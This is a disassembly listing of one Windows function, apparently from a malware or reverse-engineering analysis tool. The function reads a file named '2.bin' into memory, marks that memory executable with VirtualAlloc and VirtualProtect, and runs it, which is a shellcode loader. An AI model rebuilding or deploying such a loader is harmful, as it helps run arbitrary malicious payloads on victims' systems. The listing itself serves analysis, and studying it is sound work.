Function at 0x407020
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x180
stmxcsr dword [ebp - 0x184]
or dword [ebp - 0x184], 0x8040
ldmxcsr dword [ebp - 0x184]
mov dword [ebp - 0x1c], esp
mov dword [ebp - 0x10], 0xffffffff
lea eax, [ebp - 0x18]
mov dword [ebp - 0x14], 0x408750
mov ecx, dword fs:[0]
mov dword [ebp - 0x18], ecx
mov dword fs:[0], eax
push 0x40f6da
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x4070fb
mov esi, eax
push 0x40f765
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x407132
lea edi, [ebp - 0x184]
push edi
push 0x100
call eax
test eax, eax
je 0x407141
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xorps xmm0, xmm0
movups xmmword [ebp - 0x70], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x60], xmm0
push edi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add esp, 4
test eax, eax
js 0x40831f
mov esi, eax
cmp eax, 0xf
ja 0x4072ca
mov dword [ebp - 0x60], esi
mov dword [ebp - 0x5c], 0xf
lea eax, [ebp - 0x70]
push esi
push edi
push eax
call fcn.004088d0
add esp, 0xc
mov byte [ebp + esi - 0x70], 0
jmp 0x407192
mov esi, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov ecx, esi
mov edx, str.Failed_to_load_kernel32.dll
call section..text
mov eax, dword [esi]
mov ecx, dword [eax + 4]
add ecx, esi
push 0xa
call dword [sym.imp.MSVCP140.dll_public:_char___thiscall_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const]
movsx eax, al
mov ecx, esi
push eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::put_char_]
mov ecx, esi
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::flush_void_]
jmp 0x40717d
mov edi, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov ecx, edi
mov edx, str.Failed_to_get_address_of_GetCurrentDirectoryA
jmp 0x40714e
mov edi, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov ecx, edi
mov edx, str.Failed_to_get_current_directory
call section..text
mov eax, dword [edi]
mov ecx, dword [eax + 4]
add ecx, edi
push 0xa
call dword [sym.imp.MSVCP140.dll_public:_char___thiscall_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const]
movsx eax, al
mov ecx, edi
push eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::put_char_]
mov ecx, edi
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::flush_void_]
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xorps xmm0, xmm0
movups xmmword [ebp - 0x70], xmm0
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0xf
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x10], 0
push 1
call sub.MSVCP140.dll_private:_static_class_std::locale::_Locimp____cdecl_std::locale::_Init_bool_
add esp, 4
mov dword [ebp - 0x48], eax
lea ecx, [ebp - 0x78]
push 0
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::_Lockit::constructor_int_]
mov ebx, dword [0x413f44]
mov esi, dword [sym.imp.MSVCP140.dll_class_std::locale::id_std::collate_char_::id]
mov edx, dword [esi]
test edx, edx
jne 0x4071f7
lea ecx, [ebp - 0x184]
push 0
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::_Lockit::constructor_int_]
cmp dword [esi], 0
jne 0x4071e9
mov eax, dword [sym.imp.MSVCP140.dll_int_std::locale::id::_Id_cnt]
mov ecx, dword [eax]
inc ecx
mov dword [eax], ecx
mov dword [esi], ecx
lea ecx, [ebp - 0x184]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::_Lockit::destructor_void_]
mov edx, dword [esi]
mov eax, dword [ebp - 0x48]
cmp dword [eax + 0xc], edx
jbe 0x40720d
mov ecx, dword [eax + 8]
mov edi, dword [ecx + edx*4]
test edi, edi
jne 0x40746e
cmp byte [eax + 0x14], 0
je 0x40723e
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x10], 0xb
call sub.MSVCP140.dll_private:_static_class_std::locale::_Locimp____cdecl_std::locale::_Getgloballocale_void_
mov ecx, dword [ebp - 0x24]
cmp dword [eax + 0xc], ecx
mov ebx, dword [ebp - 0x20]
jbe 0x40723e
mov eax, dword [eax + 8]
mov edi, dword [eax + ecx*4]
test edi, edi
jne 0x40746e
mov edi, ebx
test ebx, ebx
jne 0x40746e
mov dword [ebp - 0x10], 0xb
push 0x10
call fcn.0040af20
add esp, 4
mov esi, eax
mov edi, dword [ebp - 0x48]
test edi, edi
mov dword [ebp - 0x20], eax
je 0x4072f8
mov eax, dword [edi + 0x18]
add edi, 0x1c
test eax, eax
cmovne edi, eax
xorps xmm0, xmm0
movsd qword [ebp - 0x30], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0x40], xmm0
push edi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add esp, 4
test eax, eax
js 0x40832e
cmp eax, 0x10
jae 0x407315
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], 0xf
lea esi, [ebp - 0x40]
push eax
push edi
push esi
mov edi, eax
call fcn.004088d0
add esp, 0xc
mov byte [ebp + edi - 0x40], 0
cmp dword [ebp - 0x2c], 0x10
jb 0x4073b9
mov esi, dword [ebp - 0x40]
jmp 0x4073b9
mov eax, esi
or eax, 0xf
cmp eax, 0x17
mov ebx, 0x16
cmovae ebx, eax
cmp eax, 0xfff
jb 0x407353
lea eax, [ebx + 0x24]
push eax
call fcn.0040af20
add esp, 4
lea edi, [eax + 0x23]
and edi, 0xffffffe0
mov dword [edi - 4], eax
jmp 0x407361
xorps xmm0, xmm0
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0xf
lea esi, [ebp - 0x40]
jmp 0x4073b9
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x28], eax
or eax, 0xf
cmp eax, 0x17
mov ecx, 0x16
cmovae ecx, eax
cmp eax, 0xfff
mov dword [ebp - 0x44], ecx
jb 0x407384
lea eax, [ecx + 0x24]
mov dword [ebp - 0x10], 0xd
push eax
call fcn.0040af20
add esp, 4
mov esi, eax
add esi, 0x23
and esi, 0xffffffe0
mov dword [esi - 4], eax
jmp 0x407399
lea eax, [ebx + 1]
push eax
call fcn.0040af20
add esp, 4
mov edi, eax
mov dword [ebp - 0x70], edi
mov dword [ebp - 0x60], esi
mov dword [ebp - 0x5c], ebx
push esi
lea eax, [ebp - 0x184]
push eax
push edi
call fcn.004088d0
add esp, 0xc
mov byte [edi + esi], 0
jmp 0x407192
lea eax, [ecx + 1]
mov dword [ebp - 0x10], 0xd
push eax
call fcn.0040af20
add esp, 4
mov esi, eax
mov dword [ebp - 0x40], esi
mov edi, dword [ebp - 0x28]
mov dword [ebp - 0x30], edi
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x2c], eax
push edi
push dword [ebp - 0x24]
push esi
call fcn.004088d0
add esp, 0xc
mov byte [esi + edi], 0
mov dword [ebp - 0x10], 0xe
lea ecx, [ebp - 0x184]
push esi
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::_Locinfo::constructor_char_const__]
mov esi, dword [ebp - 0x20]
mov ecx, esi
push 0
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::locale::facet::constructor_unsigned_int_]
mov dword [esi], vtable.std::collate_char_.0
mov dword [ebp - 0x10], 0xf
lea eax, [ebp - 0x84]
lea ecx, [ebp - 0x184]
push eax
call dword [sym.imp.MSVCP140.dll_public:_struct__Collvec___thiscall_std::_Locinfo::_Getcoll_void_]
movsd xmm0, qword [ebp - 0x84]
mov edi, dword [ebp - 0x20]
movsd qword [edi + 8], xmm0
lea ecx, [ebp - 0x184]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::_Locinfo::destructor_void_]
mov eax, dword [ebp - 0x2c]
cmp eax, 0x10
jb 0x40744e
mov ecx, dword [ebp - 0x40]
lea esi, [eax + 1]
cmp esi, 0x1000
jb 0x407444
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x4081c8
add eax, 0x24
mov esi, eax
mov ecx, edx
push esi
push ecx
call fcn.0040af55
add esp, 8
mov dword [ebp - 0x10], 0xc
push edi
call fcn.0040ae9c
add esp, 4
mov edi, dword [ebp - 0x20]
mov eax, dword [edi]
mov ecx, edi
call dword [eax + 4]
mov dword [0x413f44], edi
lea esi, [ebp - 0x54]
lea ecx, [ebp - 0x78]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::_Lockit::destructor_void_]
mov dword [esi], edi
lea ecx, [ebp - 0x40]
push 0
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::_Lockit::constructor_int_]
mov edi, dword [0x413f48]
mov dword [ebp - 0x84], edi
mov esi, dword [sym.imp.MSVCP140.dll_class_std::locale::id_std::ctype_char_::id]
mov edx, dword [esi]
test edx, edx
jne 0x4074cc
lea ecx, [ebp - 0x184]
push 0
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::_Lockit::constructor_int_]
cmp dword [esi], 0
jne 0x4074be
mov eax, dword [sym.imp.MSVCP140.dll_int_std::locale::id::_Id_cnt]
mov ecx, dword [eax]
inc ecx
mov dword [eax], ecx
mov dword [esi], ecx
lea ecx, [ebp - 0x184]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::_Lockit::destructor_void_]
mov edx, dword [esi]
mov eax, dword [ebp - 0x48]
cmp dword [eax + 0xc], edx
jbe 0x4074e2
mov ecx, dword [eax + 8]
mov esi, dword [ecx + edx*4]
test esi, esi
jne 0x407566
cmp byte [eax + 0x14], 0
je 0x40750f
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x10], 9
call sub.MSVCP140.dll_private:_static_class_std::locale::_Locimp____cdecl_std::locale::_Getgloballocale_void_
mov ecx, dword [ebp - 0x24]
cmp dword [eax + 0xc], ecx
mov edi, dword [ebp - 0x20]
jbe 0x40750f
mov eax, dword [eax + 8]
mov esi, dword [eax + ecx*4]
test esi, esi
jne 0x407566
mov esi, edi
test edi, edi
jne 0x407566
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x10], 9
lea ecx, [ebp - 0x84]
push eax
push ecx
call dword [sym.imp.MSVCP140.dll_public:_static_unsigned_int___cdecl_std::ctype_char_::_Getcat_class_std::locale::facet_const____class_std::locale_const__]
add esp, 8
cmp eax, 0xffffffff
je 0x408324
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0x10], 0xa
mov dword [ebp - 0x20], eax
push eax
call fcn.0040ae9c
add esp, 4
mov ecx, dword [ebp - 0x20]
mov eax, dword [ecx]
call dword [eax + 4]
mov esi, dword [ebp - 0x84]
mov dword [0x413f48], esi
lea ecx, [ebp - 0x40]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::_Lockit::destructor_void_]
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x184], str.C:_A_Za_z0_9__
mov dword [ebp - 0x180], str.C:_A_Za_z0_9__
mov dword [ebp - 0x17c], 0x40f78c
xorps xmm0, xmm0
movups xmmword [ebp - 0x178], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x168], xmm0
mov dword [ebp - 0x10], 7
push 0x24
call fcn.0040af20
add esp, 4
movss xmm0, dword [0x40e110]
movups xmmword [eax + 4], xmm0
mov dword [eax], vtable.std::_Root_node.0
xorps xmm0, xmm0
movups xmmword [eax + 0x14], xmm0
mov dword [ebp - 0x160], eax
mov dword [ebp - 0x15c], eax
mov dword [ebp - 0x158], 1
lea eax, [ebp - 0x54]
mov dword [ebp - 0x154], eax
mov dword [ebp - 0x150], 0x100
mov dword [ebp - 0x14c], 4
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x144], 1
mov dword [ebp - 0x134], 0x8775dfb
lea ecx, [ebp - 0x184]
call fcn.00401510
mov dword [ebp - 0x10], 6
push 0x18
call fcn.0040af20
add esp, 4
mov dword [eax + 4], 0xd
mov dword [eax + 8], 0
mov dword [eax + 0xc], 0
mov dword [eax], vtable.std::_Node_capture.0
mov dword [eax + 0x14], 0
mov edx, dword [ebp - 0x15c]
mov dword [eax + 0x10], edx
mov ecx, dword [edx + 0xc]
test ecx, ecx
je 0x407670
mov dword [eax + 0xc], ecx
mov dword [ecx + 0x10], eax
mov dword [edx + 0xc], eax
mov dword [ebp - 0x15c], eax
lea ecx, [ebp - 0x184]
mov dword [ebp - 0x20], eax
call fcn.004016e0
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x184]
cmp eax, dword [ebp - 0x17c]
jne 0x4081ce
mov eax, dword [ecx + 4]
cmp eax, 8
je 0x4076b7
cmp eax, 0xa
je 0x4076ae
cmp eax, 0xb
jne 0x4076c0
mov dword [ebp - 0x24], 0xc
jmp 0x4076c7
mov dword [ebp - 0x24], 9
jmp 0x4076c7
mov dword [ebp - 0x24], 0xe
push 0x18
call fcn.0040af20
add esp, 4
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x24]
mov dword [eax + 4], edx
mov dword [eax + 8], 0
mov dword [eax + 0xc], 0
mov dword [eax], vtable.std::_Node_end_group.0
mov dword [eax + 0x14], ecx
mov ecx, dword [ebp - 0x15c]
mov dword [eax + 0x10], ecx
mov edx, dword [ecx + 0xc]
test edx, edx
je 0x407707
mov dword [eax + 0xc], edx
mov dword [edx + 0x10], eax
mov dword [ebp - 0x24], edx
mov dword [ecx + 0xc], eax
mov dword [ebp - 0x15c], eax
push 0x14
mov dword [ebp - 0x20], eax
call fcn.0040af20
mov ecx, dword [ebp - 0x20]
add esp, 4
mov dword [eax], vtable.std::_Node_base.0
mov dword [eax + 4], 0x15
mov dword [eax + 8], 0
mov dword [eax + 0xc], 0
mov dword [eax + 0x10], ecx
mov edx, dword [ebp - 0x24]
test edx, edx
je 0x40774e
mov dword [eax + 0xc], edx
mov dword [edx + 0x10], eax
mov dword [ecx + 0xc], eax
mov dword [ebp - 0x15c], eax
lea eax, [ebp - 0x160]
mov esi, dword [eax]
mov eax, dword [ebp - 0x144]
mov dword [esi + 0x14], eax
mov eax, dword [ebp - 0x178]
inc eax
mov dword [esi + 0x1c], eax
mov ecx, esi
xor edx, edx
push 0
call fcn.004019a0
add esp, 4
lock inc dword [esi + 0x20]
mov eax, dword [ebp - 0x58]
test eax, eax
je 0x4077b6
lock dec dword [eax + 0x20]
jne 0x4077b6
mov ecx, dword [ebp - 0x58]
test ecx, ecx
je 0x4077b6
nop dword [eax + eax]
mov eax, dword [ecx]
mov edi, dword [ecx + 0xc]
mov dword [ecx + 0xc], 0
push 1
call dword [eax]
mov ecx, edi
test edi, edi
jne 0x4077a0
mov dword [ebp - 0x58], esi
mov ecx, dword [ebp - 0x170]
test ecx, ecx
je 0x4077f5
mov eax, dword [ebp - 0x168]
sub eax, ecx
cmp eax, 0x1000
jb 0x4077e8
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x4081c8
add eax, 0x23
mov ecx, edx
push eax
push ecx
call fcn.0040af55
add esp, 8
mov esi, dword [ebp - 0x58]
test esi, esi
je 0x407804
cmp dword [ebp - 0x5c], 0x10
jb 0x40780b
mov eax, dword [ebp - 0x70]
jmp 0x40780e
mov bl, 1
jmp 0x407b66
lea eax, [ebp - 0x70]
mov ecx, dword [ebp - 0x60]
add ecx, eax
mov edi, dword [esi + 0x14]
mov edx, dword [esi + 0x1c]
xorps xmm0, xmm0
movups xmmword [ebp - 0x174], xmm0
movups xmmword [ebp - 0x180], xmm0
movups xmmword [ebp - 0x160], xmm0
movups xmmword [ebp - 0x150], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x140], xmm0
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x12c], esi
mov dword [ebp - 0x128], edi
mov dword [ebp - 0x124], 0x10
mov byte [ebp - 0x120], 0
mov dword [ebp - 0x11c], edx
mov byte [ebp - 0x118], 0
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x114], ecx
mov ecx, dword [esi + 0x18]
test ecx, ecx
je 0x407968
cmp ecx, 0x20000000
jae 0x408313
lea eax, [ecx*8]
cmp ecx, 0x200
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], eax
jb 0x4078da
mov dword [ebp - 0x10], 4
cmp ecx, 0x1ffffffc
jae 0x408329
add eax, 0x23
push eax
call fcn.0040af20
add esp, 4
mov esi, eax
add esi, 0x23
and esi, 0xffffffe0
mov dword [esi - 4], eax
jmp 0x4078ec
mov dword [ebp - 0x10], 4
push eax
call fcn.0040af20
add esp, 4
mov esi, eax
push dword [ebp - 0x20]
push 0
push esi
call fcn.00408820
add esp, 0xc
mov eax, dword [ebp - 0x140]
lea ebx, [ebp - 0x144]
mov edi, dword [ebx]
sub eax, edi
push eax
push edi
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
test edi, edi
je 0x407948
mov eax, dword [ebp - 0x13c]
sub eax, edi
cmp eax, 0x1000
jb 0x40793e
mov ecx, dword [edi - 4]
add edi, 0xfffffffc
sub edi, ecx
cmp edi, 0x20
jae 0x4081c8
add eax, 0x23
mov edi, ecx
push eax
push edi
call fcn.0040af55
add esp, 8
mov dword [ebx], esi
mov eax, dword [ebp - 0x24]
lea eax, [esi + eax*8]
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x13c], eax
mov eax, dword [ebp - 0x130]
mov edx, dword [ebp - 0x11c]
lea ecx, [ebp - 0x180]
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x184], eax
mov dword [ebp - 0x10], 3
call fcn.00401bb0
mov edi, dword [ebp - 0x11c]
mov ecx, dword [ebp - 0x170]
mov esi, dword [ebp - 0x16c]
mov edx, esi
sub edx, ecx
mov eax, edx
sar eax, 3
mov ebx, edi
sub ebx, eax
jae 0x4079b5
lea eax, [ecx + edi*8]
mov dword [ebp - 0x16c], eax
jmp 0x407aeb
jbe 0x407aeb
mov eax, dword [ebp - 0x168]
sub eax, ecx
sar eax, 3
cmp eax, edi
jae 0x407a3e
mov dword [ebp - 0x20], edx
cmp edi, 0x20000000
jae 0x40833a
mov esi, eax
shr esi, 1
mov ecx, 0x1fffffff
mov edx, 0x1fffffff
sub edx, esi
add esi, eax
cmp esi, edi
cmovbe esi, edi
cmp eax, edx
cmova esi, ecx
cmp esi, 0x20000000
jae 0x40833f
lea eax, [esi*8]
cmp esi, 0x200
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x28], ebx
jb 0x407a59
cmp esi, 0x1ffffffc
jae 0x408344
add eax, 0x23
push eax
call fcn.0040af20
add esp, 4
mov esi, eax
add esi, 0x23
and esi, 0xffffffe0
mov dword [esi - 4], eax
jmp 0x407a64
lea eax, [ebx*8]
push eax
push 0
push esi
call fcn.00408820
add esp, 0xc
lea eax, [esi + ebx*8]
jmp 0x4079aa
push eax
call fcn.0040af20
add esp, 4
mov esi, eax
mov ecx, dword [ebp - 0x20]
add ecx, esi
mov eax, dword [ebp - 0x28]
shl eax, 3
push eax
push 0
push ecx
call fcn.00408820
add esp, 0xc
mov eax, dword [ebp - 0x170]
mov ecx, dword [ebp - 0x16c]
sub ecx, eax
push ecx
push eax
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov ecx, dword [ebp - 0x170]
test ecx, ecx
mov edi, dword [ebp - 0x24]
je 0x407ad0
mov eax, dword [ebp - 0x168]
sub eax, ecx
cmp eax, 0x1000
jb 0x407ac6
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x4081c8
add eax, 0x23
mov ecx, edx
push eax
push ecx
call fcn.0040af55
add esp, 8
mov dword [ebp - 0x170], esi
lea eax, [esi + edi*8]
mov dword [ebp - 0x16c], eax
mov eax, dword [ebp - 0x44]
lea eax, [esi + eax*8]
mov dword [ebp - 0x168], eax
mov byte [ebp - 0x110], 1
mov dword [ebp - 0x10c], 0x989680
mov dword [ebp - 0x108], 0x3e8
mov word [ebp - 0x120], 0
mov edx, dword [ebp - 0x12c]
lea ecx, [ebp - 0x184]
call fcn.00402570
mov ebx, eax
lea ecx, [ebp - 0x184]
call fcn.00403020
xor bl, 1
mov eax, dword [ebp - 0x58]
test eax, eax
je 0x407b66
lock dec dword [eax + 0x20]
jne 0x407b66
mov ecx, dword [ebp - 0x58]
test ecx, ecx
je 0x407b66
nop word cs:[eax + eax]
mov eax, dword [ecx]
mov esi, dword [ecx + 0xc]
mov dword [ecx + 0xc], 0
push 1
call dword [eax]
mov ecx, esi
test esi, esi
jne 0x407b50
mov dword [ebp - 0x58], 0
mov ecx, dword [ebp - 0x48]
test ecx, ecx
je 0x407b85
mov eax, dword [ecx]
call dword [eax + 8]
test eax, eax
je 0x407b85
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
mov eax, dword [ebp - 0x5c]
cmp eax, 0x10
jb 0x407bbd
mov ecx, dword [ebp - 0x70]
lea esi, [eax + 1]
cmp esi, 0x1000
jb 0x407bb3
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x4081c8
add eax, 0x24
mov esi, eax
mov ecx, edx
push esi
push ecx
call fcn.0040af55
add esp, 8
xorps xmm0, xmm0
test bl, bl
je 0x4081d8
movsd qword [ebp - 0x174], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0x184], xmm0
mov dword [ebp - 0x10], 0x10
push 0x20
call fcn.0040af20
add esp, 4
mov dword [ebp - 0x184], eax
mov dword [ebp - 0x174], 8
mov dword [ebp - 0x170], 0xf
movups xmm0, xmmword [0x40f7a0]
movups xmmword [eax], xmm0
mov word [eax + 0x10], 0
mov dword [ebp - 0x10], 0x16
lea ecx, [ebp - 0x70]
lea edx, [ebp - 0x184]
call fcn.00406db0
mov eax, dword [ebp - 0x170]
cmp eax, 8
lea edi, [ebp - 0x40]
jb 0x407c71
mov ecx, dword [ebp - 0x184]
lea esi, [eax*2 + 2]
cmp esi, 0x1000
jb 0x407c67
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x4081c8
add eax, eax
add eax, 0x25
mov esi, eax
mov ecx, edx
push esi
push ecx
call fcn.0040af55
add esp, 8
mov eax, dword [ebp - 0x70]
mov ebx, dword [ebp - 0x6c]
xorps xmm0, xmm0
movups xmmword [ebp - 0x40], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x30], xmm0
cmp eax, ebx
je 0x407ce0
sub ebx, eax
mov dword [ebp - 0x2c], 0xf
js 0x4082fb
mov esi, edi
cmp ebx, 0x10
jb 0x407d1a
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], ebx
mov eax, ebx
or eax, 0xf
cmp eax, 0x17
mov ecx, 0x16
cmovae ecx, eax
cmp eax, 0xfff
mov dword [ebp - 0x28], ecx
jb 0x407cf3
lea eax, [ecx + 0x24]
mov dword [ebp - 0x10], 0x11
push eax
call fcn.0040af20
add esp, 4
mov esi, eax
add esi, 0x23
and esi, 0xffffffe0
mov dword [esi - 4], eax
jmp 0x407d08
mov dword [ebp - 0x2c], 0xf
mov ecx, 0xffffffff
xor eax, eax
jmp 0x407e19
lea eax, [ecx + 1]
mov dword [ebp - 0x10], 0x11
push eax
call fcn.0040af20
add esp, 4
mov esi, eax
mov dword [ebp - 0x40], esi
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x2c], eax
lea edi, [ebp - 0x40]
mov ebx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
push ebx
push eax
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov dword [ebp - 0x30], ebx
mov byte [esi + ebx], 0
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x2c], 0x10
jb 0x407d38
mov edi, dword [ebp - 0x40]
mov ecx, 0xffffffff
test eax, eax
je 0x407e07
xorps xmm0, xmm0
movups xmmword [ebp - 0x164], xmm0
movups xmmword [ebp - 0x184], xmm0
movups xmmword [ebp - 0x94], xmm0
movups xmmword [ebp - 0xa4], xmm0
movups xmmword [ebp - 0xb4], xmm0
movups xmmword [ebp - 0xc4], xmm0
movups xmmword [ebp - 0xd4], xmm0
movups xmmword [ebp - 0xe4], xmm0
movups xmmword [ebp - 0xf4], xmm0
movups xmmword [ebp - 0x104], xmm0
movups xmmword [ebp - 0x114], xmm0
movups xmmword [ebp - 0x124], xmm0
movups xmmword [ebp - 0x134], xmm0
movups xmmword [ebp - 0x144], xmm0
movups xmmword [ebp - 0x154], xmm0
movups xmmword [ebp - 0x174], xmm0
mov byte [ebp - 0x164], 1
mov byte [ebp - 0x177], 1
mov word [ebp - 0x17b], 0x101
movzx edx, byte [edi + eax - 1]
cmp byte [ebp + edx - 0x184], 0
je 0x407e0b
mov edx, eax
dec edx
je 0x407e19
mov edx, eax
nop word cs:[eax + eax]
movzx esi, byte [edi + edx - 2]
cmp byte [ebp + esi - 0x184], 0
je 0x407e11
dec edx
cmp edx, 1
jne 0x407df0
jmp 0x407e19
xor eax, eax
jmp 0x407e19
lea ecx, [edi + eax]
dec ecx
jmp 0x407e17
lea ecx, [edi + edx]
add ecx, 0xfffffffe
sub ecx, edi
inc ecx
cmp eax, ecx
jb 0x408226
mov dword [ebp - 0x30], ecx
mov byte [edi + ecx], 0
mov dword [ebp - 0x174], 5
mov dword [ebp - 0x170], 7
movaps xmm0, xmmword [str.2.bin]
movups xmmword [ebp - 0x184], xmm0
mov dword [ebp - 0x10], 0x15
lea ecx, [ebp - 0x58]
lea edx, [ebp - 0x184]
call fcn.00406db0
mov eax, dword [ebp - 0x170]
cmp eax, 8
jb 0x407ea4
mov ecx, dword [ebp - 0x184]
lea esi, [eax*2 + 2]
cmp esi, 0x1000
jb 0x407e9a
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x4081c8
add eax, eax
add eax, 0x25
mov esi, eax
mov ecx, edx
push esi
push ecx
call fcn.0040af55
add esp, 8
mov ebx, dword [ebp - 0x58]
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x84], 0
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x7c], 0
sub eax, ebx
mov dword [ebp - 0x20], ebx
je 0x407efb
js 0x408307
cmp eax, 0x1000
mov dword [ebp - 0x44], eax
jb 0x407f01
add eax, 0x23
mov dword [ebp - 0x10], 0x13
push eax
call fcn.0040af20
add esp, 4
mov ecx, eax
add ecx, 0x23
and ecx, 0xffffffe0
mov dword [ecx - 4], eax
mov eax, ecx
jmp 0x407f11
xor edi, edi
xor esi, esi
jmp 0x407f61
mov dword [ebp - 0x10], 0x13
push eax
call fcn.0040af20
add esp, 4
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x44]
lea esi, [eax + ebx]
mov dword [ebp - 0x7c], esi
push ebx
push 0
mov edi, eax
push eax
call fcn.00408820
add esp, 0xc
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x80], esi
mov esi, dword [ebp - 0x30]
cmp ebx, 1
mov eax, ebx
adc eax, 0
mov dword [ebp - 0x24], eax
cmp ebx, 4
jae 0x4080ed
mov eax, dword [ebp - 0x24]
mov ecx, eax
and ecx, 0x7ffffffc
cmp ecx, eax
jne 0x408198
mov esi, dword [ebp - 0x28]
sub esi, edi
push 4
push 0x3000
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x24], eax
test eax, eax
je 0x408232
push esi
mov dword [ebp - 0x44], edi
push edi
mov edi, dword [ebp - 0x24]
push edi
call fcn.004088d0
add esp, 0xc
lea eax, [ebp - 0x18c]
push eax
push 0x10
mov dword [ebp - 0x28], esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [ebp - 0x10], 0x14
test eax, eax
je 0x408293
call edi
push 0x8000
push 0
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.Shellcode
call section..text
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov eax, dword [ecx]
add ecx, dword [eax + 4]
push 0xa
call dword [sym.imp.MSVCP140.dll_public:_char___thiscall_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const]
movsx eax, al
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::put_char_]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
